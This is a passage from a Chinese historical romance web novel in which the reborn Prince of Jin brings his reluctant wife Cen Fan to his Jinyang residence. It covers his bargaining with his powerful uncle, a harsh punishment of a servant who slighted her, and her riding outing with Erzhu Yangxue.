岑璠头别扭地半转,睁大了眼睛,身子僵直未动,一双手紧紧抓住缰绳。 他不满,另一只手用力打开她紧握的手,逼她转过身,引她扶住他的腰,而后将她揽近。 那吻对她而言太过陌生,太过汹涌,肆意妄为。 就算是在床榻上,他也很少如此,热烈到几乎让她无法承受。 两人共骑的马似感受到躁动,抬起蹄子不安地走了几步。 岑璠几乎坐不稳,手胡乱抓着他背后的衣裳,触上他身上的伤口。 陌生的吻还在继续,似不知疼,他倾压而下,舌抵住她的牙关,疯狂攫取她的呼吸,似要喘不上气。 岑璠实在抗拒,她趁机张开嘴,咬了他的下唇。 血腥味蔓延开,似是香甜,再仔细品尝,才发现是苦的。 元衡缓缓放开,嘴唇上有一抹明显的血迹。 岑璠也不知道为何她会咬他,她只是不喜欢,出于本能想阻止。 她想找点理由,辩解一二。 他却道:“你能不能,别说出来……” 无论是真还是假的话,他都不想听,他能看得出来,不需要她再添一把盐。 岑璠 便是闭了嘴,犹犹豫豫转过身。 身后的男人很安静,似是比来时头低垂了些,驱马的声音尽在耳畔。 马比来时慢了许多,村口的队伍整装待发,杨知聿在队首,只等一声不吭便离开的两人回来。 元衡回来后,扫了扫队中的人,目光盯向队首的男人,将自己的王妃抱下马。 他与她十指紧扣,送她回马车。 杨知聿能看出他眼中的落败,看到他嘴上的伤,似也明白他为何会是一副垂头丧气的模样。 路过他时,元衡顿了顿脚步,转身面对她,牵起紧握的手,露出脏了半截的衣袖。 那语气轻柔,声音不大不小,“皎皎,你的衣裙脏了,待会儿孤让傅媪再送来一身,你换上……” 岑璠低头看了看她的衣裳。 确实脏了,有被掳走时弄脏的,也有尔朱姑娘的血迹,还有跑马时踩脏的。 她抬头看他,淡淡道:“殿下,有些衣裳不适合远行。” 周围静了一瞬,杨知聿默不作声撇过头去。 队中的人不少,装聋的也不止杨知聿一个。 元衡不曾注意这些,他只能听到她说的。 她话外有话,可他不想听懂。 “皎皎想学骑马,本王可以找人做些适合跑马的衣裳…” 岑璠抿唇,袖子垂下,从他的手中划过。 她进了马车,元衡站在马车前,久久未回去。 所有人都在等他,无人催促。 他上马时,掩起些许挫败。 只是杨知聿说话时,他还是只听到了最后半句,“你打算怎么办?” “你说什么?” 杨知聿轻轻翻了个白眼,“我说我刚才去寻萧晗,遇到了一伙人,那些人似乎很了解你暗卫的布局和动向。” “这件事有杨氏操手,你打算如何?” 元衡想到刚才的猜测,眼眸一沉,道:“我自有办法。” * 悠长的队伍继续远行,今日夕阳下发生的事,仿佛没有发生过。 到晋阳那日,她又换上了那身嫁衣,当地大族王氏亲自开城门,将队伍迎入门。 晋阳王府,气势恢宏,大门上雕刻着祥鸟瑞兽, 岑璠总觉得她很久前梦到过,可面前这扇门装点的太过喜庆,和梦中的庄严沉寂截然不同。 门口两扇金鼓隆隆对响,大红地毯铺了一路,路上洒满红花,一直延伸到大殿前。 午时,晋阳王府设大宴,宾客满座,王氏和盘踞于平城的尔朱氏家主皆来赴宴。 同来赴宴的自还有杨樾。 岑璠还记得,那日她在洛阳见到杨樾时,他飞扬跋扈,目中无人的样子。 阿湄也曾对她说过,她应该小心此人。 岑璠时不时看向杨樾,席间他推杯换盏,却一直没正眼瞧她。 要不是元衡在上位开口,向席间各大世家问候了几句,她几乎都要以为,杨氏才是王府真正的主人。 宴席散后,元衡让人带她回房。 杨樾并未走,一直坐在席间,似知道他要找他。 两人长相并不算相似,但都长了一双冷眼,两相对望,谁也没先从座上起来。 元衡问:“不知舅父近些天可好?” 杨樾笑了笑,“殿下婚礼不过半月,那日我去了洛阳,殿下也应该知道,如此问,倒显生疏。” 元衡未怒,“舅父哪里话,如今四处不安,就是孤与王妃,路途都曾遭遇匪乱,舅父时常奔走两地,难免也会受点小伤。” 杨樾未答话,须臾后放下酒杯,摆好衣袖,冷道:“殿下有话,不妨直说。” 元衡说的肯定,“那日我遇到的,是舅父,是你让萧晗掳走他,对吗?。” “是。”杨樾轻快答了一声,“萧晗让找的人,正好是你说与我的,我便同他做了一笔交易。” “还有什么要问的?实在不行,要不把我这个舅舅抓起来审?” 他说的,和元衡猜的几近相同。 杨樾口中说的那个人,是齐国的皇子。 齐国三年前亡于内乱,如今南边的皇帝,和齐国皇室乃是同宗,当了皇帝之后,却将齐国皇室赶尽杀绝。 封地离魏国最近的萧昀跑到北边,逃过一劫。 这几年梁国不见人来找,却是在最近对萧昀下了诛杀令。 萧晗来魏国,本意在此。 萧昀来大魏时,隐密行踪,似只想苟活,并无动作。 元衡查过他的居所,知道他的隐藏之地。 杨樾来洛阳阻挠他的婚事,他便是用这个秘密交换。 他本以为,舅父会以此引诱萧晗,将其擒住,没想到,舅父竟是缓兵之计,始终想要置她于死地。 元衡眼中闪过厉色,声似冰锥,“你敢动她?” 杨樾似愣了一下,眼睛定定看着酒杯,而后掀起眼。 “晋王殿下,难道要为了一个女人,与臣翻脸吗?” “她是我的王妃,是我的妻。”元衡未有退让,“她若死了,我不活,杀她的人,也别想活。” 杨樾嘴收了收,眉轻压,似是少了几分气定神闲。 须臾后,他淡淡一笑,“要我不再动她,也可以。” “不过你要答应我一个条件。” “舅父出尔反尔过,要我如何再信?” 杨樾脸不红心不跳,“我只是答应过你,不阻止你的大婚罢了,我当时可没答应过别的。” 元衡一时哑言,竟挑不出任何错处。 “舅父想如何?” 杨樾见他答应,并不惊讶,观察着酒杯上的金莲,“崔迟景,他在洛阳,可是在帮你暗中做事?” 元衡眼神一变,未答。 杨樾似胜券在握,“殿下想办法把他调来晋阳,给他什么官职都行,我都不会再动王妃。” 元衡重活一辈子,看透了舅父,知道他的不达目的不择手段,也知道他无情无义。 怪就怪曾经的自己给了此人太多信任,如今晋阳以北兵权他二人各执一半,还有此人在暗中动作,否则上一世他也不会那么轻易就失了兵权。 如今的他想收回,必先起内乱,朝廷视他们为眼中钉,倒时必定会趁虚而入。 舅父此时执意将崔迟景调来,必定是要对崔家有所动作。 元衡手下暗暗用力,好好一个杯子,被捏出了指印。 他权衡许久,最后还是答了声,“好。” 杨樾满意,站起身端正行礼,“臣替小儿谢过晋王。” 说罢,他欲转身,似有想到什么,又开口,“殿下执意要岑氏做王妃,那便听臣一言。” “王妃非出身世家,身份卑贱,但也并非无用,如今皇室子嗣凋零,太子妃迟未有孕,若王妃能先诞下子嗣,对殿下未必不是助力。” 第35章 第三十五章沐浴 杨樾说完这番话,便离开了。 不欢而散。 元衡独坐在宴席上,坐了许久才离开。 晋阳的王府,要比皇帝赏的那套宅院大许多,一眼望不到头。 在宴席上,她穿的宫装繁复,此时坐在房中,换上了一身大袖衫,喜鹊和槿儿在两旁,正给她卸下金雀钗。 给她置办衣裳时,那些衣裳的样式他都看过,对她而言都是好看的。 并不是像她说的那样全然不合适。 元衡默不作声坐在她身后。 喜鹊见状,行了一礼,和槿儿一起退下。 元衡拿起梳子,轻轻梳她的发,就像喜爱博古的人,每隔几日便要将自己拥有的古画玉石什么都擦拭一遍。 岑璠似已习惯他这样对她,而且肯定,他定然是遇到什么不顺心的事。 岑璠自己也有不顺心的事。 她想了想,还是问道:“杨太尉是会经常来王府吗? “你若不喜欢,以后便不 会。“元衡道:“皎皎还记得大婚那日,孤说过什么吗?” 那日喝酒时,他的确同她交代了许多正事。 其中有一件她记得很深刻。 他让她远离杨氏所有人。 那杨太尉面相不善,不似面前的人外冷内热,眼底是透彻的寒冰,说出的话也全是无情。 但她也知道,晋王自幼在杨太尉身边长大,两人在北边的军镇,不依靠皇权,也不依靠世家,是从军镇中一刀刀拼杀出来,才恢复的身份。 她不知道这两人经历过什么,可这样的人,心不冷才该是反常。 元衡见她久久不说话,却以为她忘了,心里自嘲一二,又重复道:“在晋阳,你若不想惹上麻烦,所有姓杨的人,你能不见就不见。” “知道了。” 身后的男人半晌无声,许久后却重复了一句,“是所有姓杨的。” 岑璠知道,当年皇帝下令诛杨氏九族,却终归有杨氏的族人逃过一劫。 她轻轻颔首,“知道了。” 元衡觉得,她定是还没明白自己的意思。 若是她真的明白,定是要同他争辩一番,说不定还要用鄙夷的眼神去看他。 他宁愿她嘲讽他,也不愿意她一点都不明白他的意思。 元衡倒也没再明说。 挑明了,她不会同情他,也不会意识到他在意她,只会是他自取其辱。 元衡没再说下去,心里堵了一口气。 刚才杨樾说的话,他终归是听进去了一些。 他该考虑考虑孩子的事。 她在乎亲人,早些诞下孩儿,也许就不会像上辈子那样,说离开就随便离开了。 他两辈子受过太多苦,若是他们能有个孩子,他会把最好的一切给他们母子。 他会把他们的孩子养的很好,让他无灾无难地过完一生。 也许她到时候也能意识到,他也是她的亲人。 元衡梳得越来越轻,她的头发本就顺滑,透着光泽,很是好梳。 她上一世受了寒,又喝过避子得汤药,想必是不易怀孕。 比起上一世的病态,她的脸颊红润,一双唇犹如花瓣饱满,眼也像耀石一样透亮。 他能把她养的很好,比现在还能更好一些。 他的指尖触到她的耳垂,想将坠在她耳上的红玛瑙取下。 岑璠拽住了他的手,没等他说话,自己上手,利索摘下了那对耳坠。 元衡却注意到了她手上那一大块疤痕。 距离她手伤到现在,已经过了好几个月,那块儿疤痕虽然变淡,也不像他记忆中那般畸形可怖,但还是明显,在那白玉似的手心上,像是一道裂痕。 他的大掌握住她,岑璠攥紧了手。 元衡并不在意她的这般反应,一点点打开她的葱指,将她手心那对耳坠放回桌上。 他的指摩挲着那道疤痕,温声问道:“手还疼吗?” 那道旧伤伤及筋骨,雨后时不时酸涩难受。 可比起伤口隐隐作痛,他最近的态度却让她更加不适。 岑璠宁愿他说话冷一些,只在床榻上同他有牵扯,并不想他这般痴缠。 自那日在大河边上他就反常,如今更是。 她猜测许久,问:“杨太尉和殿下说了什么?” 元衡目光垂下,不敢让她知道他刚才的打算,只道:“没什么。” * 多日远行,风尘仆仆,府内早早就准备好了沐浴所用的东西,花瓣、猪苓、香料一应俱全。 王府内的浴池起初打造时便是将主人家的婚事考虑了进去,如其他妻妾成群得贵人家一般,设计得颇有妙处。 池外帘后起初还有几个婢女等待传唤,后来便是连人的影子都看不到了。 暖池内香炉袅袅,雾气氤氲,水声摇散,莺啼回响,格外清晰。 池内一站一坐,一高一低,只一双白膝浮露出水面。 水时不时溅到泛红的脸上,岑璠顾不得其他,只觉得喘不上气,大口呼吸,水花仿佛时刻都要呛到口中。 水面上的花瓣聚起,又被撞开,随水波荡漾。 后来便是床榻上都沾染上了花香,伴随满帐金梅,如同在春意盎然的梅园。 春色止时,元衡抬高她的腿,往她的腰下垫了枕头。 岑璠不知他此为何意。 他这几日在路上很少碰他,她不由怀疑,莫不是这些日子一直记着,想到很多新的法子折磨她…… 岑璠皱眉,要将那身子下的枕头抽出。 他俯身抱住她,声音嘶哑,似在克制,“别动……” 他没有下一步动作,岑璠也能感觉得到,他并不打算再碰她。 她一动未动,帐内安静,只剩下温热的喘息。 帘幔金钩上,悬着一只香囊,随着床榻的静止,也渐渐停止了摇摆。 他这么一折腾,岑璠一整日便是昏昏沉沉,一点精神都提不起来。 翌日晨起,天已大白,房中无人。 傅媪说晋王离开晋阳一月,有事务要处理,今晨由她带她到府里各处看看。 洗漱过后,用膳后岑璠用帕子擦了嘴,却又有人端来了药。 那药闻起来不怎么苦,却也奇怪。 岑璠问,“这是什么药?” 傅媪觉得直接说出不妥,只委婉道:“是给王妃调理身子的药,还是昨日殿下特地嘱咐的。” 岑璠盯住那碗褐色的药,似闻到了茯苓和当归的气味。 她眼睛似渐渐看透,袖下的手攥紧,随后却又松开,一只手端起,什么也没说,一饮而尽。 傅媪似在她眼底看出一丝不愿,本不想强迫,见她喝了倒是松了一口气。 她又拿了只熏烟来,“王妃把受伤的那只手伸出来吧,多熏几次,当是能好的快些。” 岑璠犹豫伸出手,傅媪看了看她的伤口,点了熏烟, 伤口悬于白烟之上,手心被烘烤地微烫,仿佛凝结在筋骨的淤伤都被散开,血液活泛起来。 岑璠记得,他之前送来了许多药,其中就有几枚熏香。 当时乳娘总在她耳边念叨,她只是用了其中一盒软膏,其它的药原分不动放在里面。 傅媪道:“那香当时还是老奴亲手准备的。” “依殿下的性子,王妃心里肯定有怨言,老奴知道,可这手是自己的,总要学着爱护,王妃可别和自己的手过不去。” 岑璠仔细看了看傅媪,这位老媪眉目慈善,眼尾的皱纹都如同温润细流,说出的话也是如此。 她对这位老媪总是莫名的好感,总在哪里见过,十分亲切,可就是想不起来。 岑璠点了点头,显然是听了进去。 熏香熏了有一阵,散去一室药香,岑璠和槿儿跟傅媪一起出门。 晋阳地处北,王府内建筑恢弘大气,书房也有好几处。 元衡今日并不在平日处理公事的地方,就在这后殿的书房之中,那书房并不算大,是藏在后殿的观景湖后的一栋阁楼。 也是晋王平日里的待客之所。 书房所在的位置风景宜人,打开门向外望去便能望到湖边景色,若是冬日,坐在湖边围炉煮酒,倒也着实惬意。 湖面上铺有石桥,湖岸边荷花待放,岑璠沿着石桥而过,路过那书房时,房内的门正好是敞开的。 她似感知到什么,往那敞开的大门内望了一眼。 他恰好就坐在大门敞开的地方,桌上只有几卷像是公文的东西,被扔在一边。 修长的手里似拿了一只笔,他似乎在这里等了很久,在她看过来的一瞬间,目光相接。 他的目光中好像含有别样的情绪,似是透过她看到了什么遥远却又不可及的东西。 岑璠站在庭中,娉婷袅袅,阳光铺洒在她的衣裙上,衣裳薄纱银丝,映出层层暖意。 元衡一时失神。 时间仿佛过去了很久,夏日凋零,一切瞬息万变,换成一副冬日之景,眼前的人和记忆力一道消瘦的身影渐渐重合。 直到远处传来悠扬鸟鸣,元衡才回过神。 他抿唇,起身拿着那支笔向她走去。 “孤刚才在书房看到一支画笔,友人所赠,孤不 怎么会画,便想着那给你,若是用得习惯,你便拿去。” 岑璠闻言,往桌上看去,那张桌案明显是用来待客,上面放有茶盏酒杯,还有一座小巧的博山香炉,可就是没有一支笔。 那桌上的公文,也像是从别处搬来的。 他来这里等他,难不成就仅仅是因为看到一支好看的笔,想给她送过来? 岑璠不解,眉轻轻皱起,看着他停滞在跟前的手。 那眼神迫切,不像是另有目的。 岑璠却仍心存犹疑,更何况她来到洛阳后,本就没打算再用母亲留下的名号再画。 她推拒,“我其实许久未” 话还没说完,他打断,“你拿着。” 岑璠读不懂他的执拗,她抿了抿唇,接过那支笔,仔细打量一番那支狼毫笔。 她懂画,自是也懂笔,羊毫柔软,用于渲染,而这狼毫坚韧,用于山石花草勾形,擅画者常用。 这支笔上的狼毫,劲健光泽,拿起来不轻不重,笔杆上似有淡淡的香气,想来也是贵重之物。 岑璠行礼,“多谢殿下。” 元衡望了望四周,“这里僻静,你若以后想画,可以在这里画。” 可岑璠从前作画,多是去外面画些山水。 那时她彭城,偶尔虽有岑家人惹点麻烦,可到底比现在自在。 她有闲钱,无人整日盯着她去哪里,在彭城待腻了,便叫人收拾马车,带上行囊去郊外玩一两日,偶尔能看到难忘之景,便将东西画下来。 其实也许她也并不是不喜欢画…… 岑璠无声一叹。 元衡想起她手上的伤,以为她是为此而叹,停住话语。 他想开口,想陪她在府里转转,可想到那被他扔在一边的公文,刚发出声便停住。 傅媪适时走上前开口,“这湖中不仅有莲子,还有鱼呢,王妃适才也走了许久,若是累了,不如在这里喂鱼,摘点莲子。” 傅媪向槿儿一笑,“槿儿姑娘不如回去拿个小竹筐来,再拿些鱼食。” 槿儿向来机灵,闻言便是领会乳娘的打算,点了点头,赶着脚程回去,东西拿不下,便又拉来了紫芯。 紫芯和槿儿同住一屋,两人早已相熟,紫芯本在房内绣帕子,被她三言两语拉过来,用手遮着日头。 待走到湖边,烈阳更刺眼,紫芯眯眼抬头,抱怨了两句。 槿儿悄悄说了什么,紫芯微睁眼睛,看向书房,捂住了嘴,老老实实撑开伞,迈着步跑向岑璠。 岑璠似有些意外,看紫芯满头大汗,便知道槿儿又在捉弄人,抿嘴嗔怪两眼。 几人顺着桥走,满池荷花,有几朵盛开的藏在荷叶中,偶尔一两支莲蓬探出头。 岑璠从前在彭城,夏天经常去郊外摘些莲子,掐莲蓬掐的熟练。 紫芯从小就在黄家,黄氏和几个儿女都不喜欢吃这莲子,自也没怎么见。 她眼巴巴看着,岑璠有所察觉,把那摘了一半的莲蓬给她。 莲叶中倩影翩翩,莲子剥了满满一筐,她身旁的小婢女撑伞,指着湖中的彩鲤,偶尔传来欢快嬉笑声,犹如诗画。 书房门大敞着,不知不觉,元衡放下看了一半的公文,看远处花团锦簇,众星拱月。 他的明月…… 她们沿着桥,越走越远,元衡一动未动。 远处的岑璠,并未察觉。 到达对岸,却有婢女等着,不似她身边的几个小丫头,年纪偏大。 傅媪认出,那是府上的管家婢女锦禾,王府初立时锦禾便在,还是杨太尉一手提拔上来的,这些年坐上了管事,做事干练,秉公无私,就是有些时候,太不留情面。 锦禾似抱着一幅画,恭敬行了一礼,“王妃娘娘。” 傅媪看了看她手中的画,“锦禾娘子这是……” 锦禾道:“这是余家姑娘送来的画,让我转交给殿下。” 她板着脸,道:“王妃赎罪。” 她嘴上说着赎罪,可步子却没停。 昨日满城皆知晋王大婚,岑璠知道,有人在这个节骨眼上来送画,必是故意为之。 她记得尔朱阳雪也曾暗示过,这晋阳贵女也有几个爱慕晋王的。 她小时候便感受过,什么叫做明目张胆,肆意妄为地恶心人。 那日黄氏对她说的话,还盘绕在耳。 有人想要恶心她。 她不喜欢晋王,可她尤不得别人用这件事,当着她的面来恶心她。 岑璠不知道对面什么余家姑娘是谁,可她知道怎么让元衡也跟着恶心一把。 岑璠叫住锦禾,道:“槿儿你去送。” 槿儿似是惊讶,指了指自己,回头看了看满脸肃然的锦禾。 岑璠道:“就你去。” 槿儿缓步上前,抱起锦禾手中的画,露出一丝尴尬的笑。 未等槿儿回来,岑璠转身而去。 没过多久,安静的书房传来一声巨响,公文竹简噼里啪啦掉了一地。 * 岑璠回到房内,便静静坐在外间的一把胡椅上。 没过多久,便等来了满脸怒色的男人。 他紧握着拳,看着她平静的表情,知道她是故意为之。 元衡不知道该不该笑。 她似是在意,可又太过冷静。 须臾之后,他自己想了个明白。 她是在利用他。 他笑了,那笑容迟迟未消失,从温笑扭曲成冷笑,“皎皎可是故意的?” 岑璠睁眼看他,未说是否。 他走到她面前,修长的身影投落下来,“画是谁送来的。” 岑璠实事求是,“锦禾。” 不似上次受了欺负时有所隐瞒,她答得毫不犹豫,却没有继续管的意思。 元衡也看得明白。 上一次欺负她的是皇后的人,她以为他不该管,便索性不说,这一次是他府中的人,所以她便觉得这是他该管的。 而她自己,打算当个甩手掌柜。 自始至终,都不过把他当个外人罢了。 元衡缓缓点头,似是自嘲,似又是在笑她。 “王妃可知,当本王的王妃要做什么?” 岑璠面上的淡然出现了点裂痕,她抬眼看他,“什么?” “府里的刁奴欺主,难道王妃不主动该管教吗? 岑璠盯住他,唇越收越紧。 元衡道:“王妃是不知道如何操持中聩,打理庶务,看来宫里的嬷嬷也教的不尽心。” 她嫁时确实有宫里的嬷嬷来教礼数,但大约是觉得晋王不会让她来管家,确实也教的随意。 黄氏倒想多说一二,被她赶了回去。 他说的并没错,不过他想做什么? 岑璠眉越皱越紧,一双杏眸微颤。 面前的人慢慢俯近,俊美如玉的面容似笑非笑。 岑璠抓紧了那把胡椅的扶手。 “王妃不会管家,本王教你管一次如何?” 第36章 第三十六章那只簪子,你为何要送给那…… 王府里的人惧怕主子。 除了元衡,还有久在晋阳的太尉。 这么多年,底下的人小心伺候,很少出纰漏,谁也不想去触这两人的霉头。 倒是许久未见过晋王勃然大怒。 府中的人被聚在殿前,比起上次岑璠在洛阳的宅院问话,简直是小巫见大巫。 堂下的人不知发生了什么事,只有人发现,锦禾的脸色有些苍白。 京城的奴仆见识过晋王对王妃的宠爱,远在晋阳的却没见过,有聪明人能从晋王对待婚事的重视看出来,可到底有些人不知道,对王妃的印象只是六品官家上不得台面的女儿。 元衡也知道,府里有人不把他的王妃当回事。 若他不出面,肯定还会有人在她面前放肆,惹她不快。 也要惹他不快。 他算是看透了她,不论是上一世还是这一世,借刀杀人是她的惯用手段。 他找人搬了把胡椅来,坐在堂中,把她抱在腿上,毫不顾忌。 他偏要让她沾染上王府的是非。 晋王那张俊冷的脸透着阴鸷,面无表情,一只手揽着王妃的腰,一只手轻轻玩弄着王妃的手指…… 外面的人就这么看着 ,大气不敢多喘。 没人注意到王妃的抗拒与挣扎,晋王揽着王妃的手臂正暗暗用力。 忽的,元衡将一幅画扫在地上,画卷在地上滚开,竟然是一幅晋王的画像。 他未指名道姓,只看着自己的王妃,“自己撕。” 周围的人面面相觑,不知晋王是在和谁说话。 却见那锦禾扑通跪了下来,爬上前,涕泪纵横,“奴婢错了。” 元衡声音冷中带着威慑,“本王叫你撕,没叫你说哪儿错了。” 锦禾嘴角抽搐,啜泣着闭上嘴,闭上眼拿了那幅画,缓缓撕了一个大口子。 那是晋王的画像,就算晋王再不喜,当面撕了这幅画也是大不敬。 府里的老人大概都明白,殿下今日是不想再留锦禾了。 锦禾似也意识到什么,撕了一半,泣不成声,看的人直叹气。 也不知道这锦禾是如何得罪主子了 “叫你撕,便是往碎了撕。” “奴婢遵命” 撕画声响起,伴随着哭声,十分凄厉。 直到那画被撕得认不出样子,元衡才开口,“本王问你,这幅画是谁让你带来的?” 锦禾不敢隐瞒,“是太尉。” 岑璠闻言愣了愣,眼神微动。 背后紧贴的胸膛温热,可那气息冷峻的可怕,似冬日夹杂风雪的凌风。 他冷声道:“所以你个贱奴是认了他当主子?” 锦禾拼命摇头,“没有奴婢没有啊!奴婢只是觉得,您和太尉大人是至亲,他的意思便该是您的意思,奴婢” 锦禾抬头,只见晋王眼底愈发狠厉,唇角的那抹笑犹如弯刀。 她的话生生吞在肚子里,一个字也说不下去。 “奴婢知错” 元衡道:“你觉得你错哪儿了?” 锦禾眼睛来回乱瞟,慌不择路,连忙答道:“这王府只殿下一个主人,奴婢不该听别人的命令” 话音一落,却还是得来一声冷哼。 锦禾彻底愣住,她抬头看向晋王。 晋王对她说的无动于衷,正低着头,看着自己王妃的纤纤细手,点上她圆润饱满的指甲 她彻底明白过来,脸色顿时煞白,睁大了眼睛,紧紧盯住岑璠那双手,似有些不敢相信。 元衡掀眼,“怎么不继续说了?” 锦禾身子顿时垮了,双腿一软,彻底摊在地上,“是奴婢该死” 元衡冷漠道:“这府里是有两个主子,你最大的错,是冒犯了王妃。” 他没再给她解释的机会,只让韩泽掌嘴。 韩泽叹了口气,这锦禾在府里多年,从未有过行差走错,错就错在对曾有伯乐之恩的太尉太过遵从,做事也太不讲情理。 从前这么做事倒是也合晋王的脾气,可如今看来还是太一根筋了,竟是看不出这晋王殿下对王妃何等偏爱 他闭起眼,连着掌了几下嘴,虽然没下死手,但声声清脆,压抑的难以让人完整呼吸。 锦禾脸肿成一片,岑璠手渐渐蜷起。 元衡问道:“王妃准备怎么处置?” 岑璠咬紧牙,侧头看向他,“殿下打算如何安排?” 元衡没有当面为难她,缓缓抬头,声音轻如鸿毛,像是说了什么无关紧要地事,“刁奴欺主,打死好了。” 锦禾睁大了眼睛,韩泽生生停住手。 锦禾大惊,不住摇头,脸上扭曲。 杨太尉给她画时,说是余家姑娘画的,让殿下看看喜不喜欢,明里暗里都是一个意思。 殿下这种人一生不可能只有一个妻室。 那王妃不过一个六品官的女儿,也不该善妒,多管殿下的事。 “殿下,奴婢遵照着太尉的命令行事,奴婢不敢拒绝,您也是知道的,太尉他……” 元衡反问,“你觉得孤应该知道什么?” 这一句反问,锦禾彻底懵了头,她语无伦次,“太尉他奴婢真的不敢” 元衡瞥了她一眼,一扫堂下其他人,“以后余家的东西,不论是谁送来的,送的什么,要么退回去,要么和这贱奴一样打死。” 殿外的人头低着,谁也不敢说话。 元衡该说的都说完,他慵懒地往后一靠,“拖下去。” 锦禾连忙磕头,“殿下饶命,奴婢再也不敢了。” 她脑门咚咚砸在地上,似也砸醒了,好像看到救命稻草,“王妃娘娘,奴婢” 哀求声未落,元衡打断,“拖下去。” 说罢他松开了箍着她的臂。 岑璠立刻从他身上下来,回头望了望跪在地上的人,想要说什么。 元衡握住她的手腕,抓着她往回走。 他声音低沉,“本王的王府该这么管,王妃可学会了?” 傅媪看不下去,重重一叹,回头看了看锦禾,给了韩泽一个眼神,跟上两人。 韩泽似明白了她的意思。 这些年殿下的脾气他也是知道的,也只有从小照顾晋王的傅媪能劝住一二。 虽说主子打死奴仆是常事,可王妃进王府的第一日就打杀,也是在给王妃造孽啊…… 傅媪跟在两人身后,元衡有所察觉,似也知道傅媪为何跟过来。 “傅媪过来,是要给那贱婢求情?” 傅媪道:“殿下息怒。” 她看了眼岑璠:“王妃的脸色似是不太好,殿下看要不先让王妃回去休息?” 元衡知道,傅媪此言只是想支走她而已。 可她的脸色也确实不怎么好,或许又是因为那贱婢动了不该有的恻隐之心。 见他不说话,傅媪也着实觉得为难,谁知自家王妃却是主动开口,“方才外面站得久了些,确实是不舒服,我先回去了。” 傅媪面色温和,行了一礼。 待她走后,傅媪不急不徐开口,“老奴看的出,殿下对王妃很在意,也知道殿下生气,是因为王妃将那幅画送过去,践踏了这份真心。” 元衡低头,看向比自己矮很多的老媪,却没了刚才凌人的气势。 傅媪见他如此,立刻了然。 这的确是他心里真正在意的。 她道:“王妃虽然性情冷了些,却是个善良心软的人,她想让殿下惩戒,却并不想致人于死地啊” “傅媪是觉得,那贱婢不该死吗?” 傅媪话顿了顿,耐心道:“老奴觉得,锦禾得罪王妃确实是大罪,殿下如此处置,也是想警醒府里其他人,可这也会给王妃带来杀孽,让王府中的人太过畏惧,也不是件好事呀。” 元衡面上无波,沉默了许久。 “本王不可能就这么轻易放过她,饶她一命也可以,不过不能在王府做事。” 傅媪弯腰,“老奴替王妃娘娘谢过殿下,军镇的宅子人手是缺了些,不如就让锦禾姑娘去军镇吧。” 元衡颔首,“找人看着她,本王不希望再节外生枝。” “殿下放心,剩下的交给老奴就好。” 话音止,元衡未走,负手立在原地,缓缓抬眼看向前方,呼吸似有一丝不稳。 傅媪眨了眨眼,“殿下可还有事要交代老奴?” “叫宫里的人替本王查件事……” * 锦禾最终还是保住了性命,人走的干净,可那日府里发生的事却无人敢忘。 这位从洛阳迎回来的王妃,是殿下的心尖上的人,他们不能惹。 元衡回来后公事繁忙,傅媪时而带她们在晋阳城内走走。 晋阳连接平城与洛阳,周围地形险峻,乃中原与北地之间的要塞,军户众多,又有四姓之中的王氏庇护,虽不如洛阳繁华,却也处处都是人烟。 尔朱阳雪伤已经好得差不多,有一日送来了帖子,邀请她去郊外跑马。 岑璠这次换了身短打的衣裳,那身衣并不华贵,是她出嫁前自己的衣裳。 有了前两次的经历,岑璠倒对马有了些了解,抓着马鞍,试了几次,被尔朱阳雪轻轻一推便自己上了马。 此次出行,槿儿几个都在,还带了几个侍卫,几个婢女在河边生炊,准备摆些山间鲜味,尔朱阳雪带着她和侍卫沿着河边走。 尔朱阳雪选的那匹马极其温顺,一个上午,已经能驾驭着一路小跑。 尔朱阳雪单手握着缰绳,始终跟在她旁边,时不时同她说几句怎么驾马。 后来 到溪边,两人将马停在一边,由侍卫看着。 两人看向对岸,密林之上似正有禽鸟翱翔。 尔朱阳雪一吹口哨,引来两声尖锐的鸟鸣。 岑璠看向她。 尔朱阳雪问道:“王妃可知那是什么鸟?” 岑璠摇头,“不知。” 那鸟似比寻常的鸟飞的更高,也更快,像一只离了弦的箭,朝烈阳的方向直冲。 “那是鹰。”尔朱阳雪道。 岑璠只在书中见过,她知道那是一种凶猛的禽鸟,是天空上的猎人。 尔朱阳雪望向那些野鹰,“王妃没见过?” 岑璠摇头,她在彭城见过许多鸟兽,可却是头一回见到鹰。 尔朱阳雪朱唇微微扬起,“王妃要是想看,改日去我尔朱府上,说不准能看到呢。” “说不准?” 尔朱阳雪点头,“王妃可能不知,这鹰是野物,野鹰想一直留在院子里,便只能用铁链拴住鹰爪,可那样也没什么意思。” 她轻轻一踢,一块儿石子飞出去,落在河中,激起一大片水花。 “我们家有人会训鹰,把那些小鹰崽子抓回来,投喂训练,时间久了,它们就算在外面飞一阵子,也会再自己飞回来。” 她忽地一笑,“过去在军镇,我还送过表兄几只,不过他应该是不会养,养了几年,最后鹰全跑了。” 岑璠眨了眨眼,看向她的侧颜,那眼睫弯曲,满眼都蕴着笑意。 她问出口,“尔朱姑娘是喜欢杨将军,对吗?” 尔朱阳雪大大方方承认,“是,其实他也不能算我表兄,他的母亲是我叔伯的义女,这么叫罢了。” 她忽然想到什么,“王妃也别误会,我……” 她支支吾吾半天也说不出来那些儿女情长,最后双手抱前,讪笑,“我有的时候,是脾气不太好。” 岑璠摇头,“别这么说…” 她结识了两个姑娘,一个是春日暖阳,而她像那夏日的烈阳。 都是她很羡慕的人。 尔朱阳雪轻笑,“我能看得出来,他对王妃不同,可我也能看出,王妃对他无意。” “否则王妃这样的人,应该不会嫁给晋王,早都和他跑了吧。” 岑璠抿了唇,她这次带出来的除了墨群,还有晋王府跟来的人,那些人离她们不远。 尔朱阳雪捡起一颗石子,狠狠往河里一砸,那石子似直接砸穿了河底,砸出一个洞,水花小的出奇,声音沉闷。 “不过我这些日子也想通了,男人嘛,他不喜欢我,再找就是了。” 岑璠愣了愣。 尔朱阳雪以为吓到了她,不想让她觉得尔朱氏太过轻浮,“我也不是不喜欢了,只是觉得没那么重要而已,起码比起我自己,比起父兄,再比起家族……” 她想了想,又补充道:“还有我手里的兵,他得排在……” 尔朱阳雪掰着指头数了数,似也数不过来,“他得排到后面了,所以就这样吧。” 岑璠:“……。” 尔朱阳雪以为她不信,“我说的都是真的,如果有一天我父兄和杨氏起了矛盾,说不准我还要砍他呢。” 这么一说,尔朱阳雪似觉得不妥,没再说下去。 两人牵了马,沿着小河原路返回。 留在河边的奴仆采摘了野果,钓了几尾鱼,烹成鲜味。 山间微风吹拂,水声潺潺,偶尔吹来林间的清香,倒也算惬意。 午后,尔朱阳雪想教她如何跑马。 只是不巧,那晋王找到了这里。 